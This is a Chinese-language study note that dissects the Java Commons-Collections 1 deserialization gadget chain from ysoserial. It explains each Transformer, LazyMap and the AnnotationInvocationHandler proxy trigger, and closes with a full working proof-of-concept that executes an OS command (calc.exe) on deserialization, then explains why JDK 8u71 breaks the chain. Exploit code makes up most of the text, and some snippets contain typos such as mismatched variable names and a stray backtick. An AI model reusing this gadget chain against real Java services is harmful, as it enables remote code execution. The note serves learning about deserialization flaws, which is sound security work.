在写这篇学习笔记之前,我看了许多篇网上的文章, 发现它们都没有它们所声称的那么容易好理解。
在我完全搞懂这个漏洞之后, 我发现这个漏洞最难的地方并不是说调用链有多复杂,而是我对这个漏洞涉及到的api完全陌生。
如果你已经了解了java反射,反序列化漏洞, commons-collections相关api, 动态代理, 再来看这个漏洞,半个小时应该就能搞懂。
因此对那些想搞懂这个漏洞的人, 最好的方法是对这些不熟悉的api写一些测试代码, 当你对api的使用了解了,构造gadget不过是水到渠成的事情罢了。
环境
还是从ysoserial的payload里,我们看到环境条件如下:
- jdk版本小于jdk8u71
- commons-collections等于3.1
我们下载一个jdk1.7, 更新pom.xml commons-collections依赖等于3.1。
1
2
3
4
5
|
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
|
各种语法、API
先看下ysoserial的payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazymapMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
|
涉及到了commons-collections相关的api,反射, 动态代理等,接下来我们将逐一解释各api,并给出测试代码, 如果你光看代码没法理解,最好手抄到IDE里面调试一遍。
commons-collections
首先是commons-collections的api,有如下这些
1
2
3
4
5
|
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
|
我们先来看LazyMap,顾名思义, LazyMap是“懒加载”的,在它取不到值时, 它会在我们自定义的函数里面生成一个值
1
2
3
4
5
6
7
8
9
10
|
Factory factory = new Factory() {
public Object create() {
return new Date();
}
};
Map lazymap = LazyMap.decorate(new HashMap(), factory);
Object obj = lazy.get("NOW");
System.out.println(obj);
Object obj1 = lazy.get("NOW");
System.out.println(obj1);
|
在第一次,lazy里面没有NOW的值时,它会调用我们事先写好的factory方法,给它赋一个值,第二次就可以直接拿那个值了。
LazyMap.decorate有两个重载方法,一个是传Factory, 一个是传Transformer, 我们现在要用的就是第二个

再看一下第二个的例子:
1
2
3
4
|
Transformer transformer = new ConstantTransformer(1);
Map lazymap = LazyMap.decorate(new HashMap(), transformer);
Object obj = lazy.get("NOW");
System.out.println(obj);
|
这个例子我们用到了ConstantTransformer。
这里要先说一下,当lazy.get(“NOW”) 调用时,发生了什么呢? 它调用了ConstantTransformer的transform方法, 不管是ConstantTransformer还是InvokerTransformer
还是其他Transformer, 只要它被传入LazyMap.decorate的第二个参数,当懒加载触发了就会调用该Transformer的transform方法!
ConstantTransformer, 顾名思义, 它返回了一个常数, 上面的例子就打印了1
接着来看InvokerTransformer, 使用方法和ConstantTransformer是一样的,刚刚说了transform方法最重要,我们就来看它的transform方法

经典的反射应用,只要控制input, iMethodName和iParamTypes就能为所欲为了。 看下为所欲为的测试代码:
1
2
3
4
5
|
Transformer transformer = new InvokerTransformer("exec", new Class[] {
String.class}, new Object[] {"calc.exe" });
Map lazymap = LazyMap.decorate(new HashMap(), transformer);
Object obj = lazy.get(Runtime.getRuntime());
System.out.println(obj);
|

确实为所欲为了!
再加上我们的序列化、反序列化代码:
1
2
3
4
5
6
7
8
9
10
11
12
|
Transformer transformer = new InvokerTransformer("exec", new Class[] {
String.class}, new Object[] {"calc.exe" });
Map lazymap = LazyMap.decorate(new HashMap(), transformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(lazy);
oos.close();
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Map o = (Map) in.readObject();
Object obj = o.get(Runtime.getRuntime());
|
着重看我们的最后一行, Object obj = o.get(Runtime.getRuntime());
, 由反序列知识,我们知道,在反序列化时类的readObject方法会自动调用。
那么,我们只要找到一个类, 它的readObject方法可以有lazymap.get方法调用,同时lazymap.get的参数为Runtime.getRuntime(), 我们的漏洞就触发成功了!
然而有这样的类吗? 大概率是没有的,反正大家都没找到。
那么我们可以把剩下的问题总结一下, 还剩下两个问题:
- 第一:我们得把我们的Runtime.getRuntime().exec()藏在LazyMap.decorate的第二个参数里面
- 第二: 我们得找到一个类,可以调用我们的lazymap.get方法
藏Runtime.getRuntime()
再看看InvokerTransformer的transform函数

参数input是lazymap.get的参数, 这样貌似怎样都藏不住了。 还有什么方法吗?
有! 这时候我们再看ysoserial的payload,看到里面有个ChainedTransformer, 我们看看它是干嘛的

很简单, 传入一个Transformer数组, 然后在lazymap.get的时候按顺序调用Transformer数组里面的transform函数,
前一个Transformer的transform函数的返回值喂给下一个Transformer的transform函数, 跟人体蜈蚣一样。
那么我们就可以来构造藏住Runtime.getRuntime()的代码了:
1
2
3
4
5
6
7
8
9
|
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
lazymap.get("xxx");
|
运行后计算器出来了,可以看到,我们不用再往lazymap.get参数里传Runtime.getRuntime(), 传入任意参数,都可触发了。
加入反序列化代码, 运行:

报错了。 原因很简单,因为Runtime类没有实现java.io.Serializable
接口。 解决方法也很简单,用反射:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[]{"calc.exe"}),
};
Transformer chainedTra`nsformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
lazymap.get("xxx");`
|
上面代码粗看可能难以理解,我们可以把问题简化为:
在只输入Runtime.class的情况下,经过ChainedTransformer的transform, 如何调用到Runtime.getruntime.exec函数, 带着这个目的调试,很快就能理解。
找到调lazymap.get的类
这个类就是sun.reflect.annotation.AnnotationInvocationHandler

值得注意的是, 这个lazymap.get的调用并不是在AnnotationInvocationHandler的readObject方法中,而是在invoke方法中,而且这个invoke方法
也没有被readObject方法调用。因此我们得想个办法触发invoke函数。 这就涉及到了动态代理的知识了。
所谓动态代理,就是不编写实现类,直接在运行期创建某个interface的实例。 如果你不知道什么是动态代理,可参考下面文章理解,不然将无法搞懂下面的代码:
那么因为AnnotationInvocationHandler实现了InvocationHandler接口,我们可以以AnnotationInvocationHandler构造一个handle, 这样它的
invoke方法就会在代理函数调用方法时自动调用了。具体代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
Map lazyMap = LazyMap.decorate(innerMap, transformerChain1);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class}, handler);
proxyMap.getClass().getMethod("invoke");
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
|
其中Retention.class只是为了调用AnnotationInvocationHandler的构造函数传入的符合类型的参数,可以是任意实现了Annotation的类

在这里随便找一个就行了:

把所有代码汇总一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
package CommonCollection;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class demo {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[]{"calc.exe"}),
new ConstantTransformer(1) };
Transformer transformerChain1 = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain1);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class}, handler);
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) in.readObject();
}
}
|
那么Commons-Collections1的分析就完成了
网上搜cc1的文章时,还有一条链出现的频率非常高, 相对于ysoserial的LazyMap,它用到了TransformedMap。它的触发方式甚至比LazyMap的还要简单一点,
因为它可以直接在AnnotationInvocationHandler的readObject方法中触发, 感兴趣的可以在网上搜一下。
jdk8u71之后版本不可用的原因

readObject方法新定义了一个LinkedHashMap, 之后更是将this.memberValues的值也设为了这个LinkedHashMap, 我们传进来的LazyMap已经不会再进到invoke函数了,整条gadget也就失效了。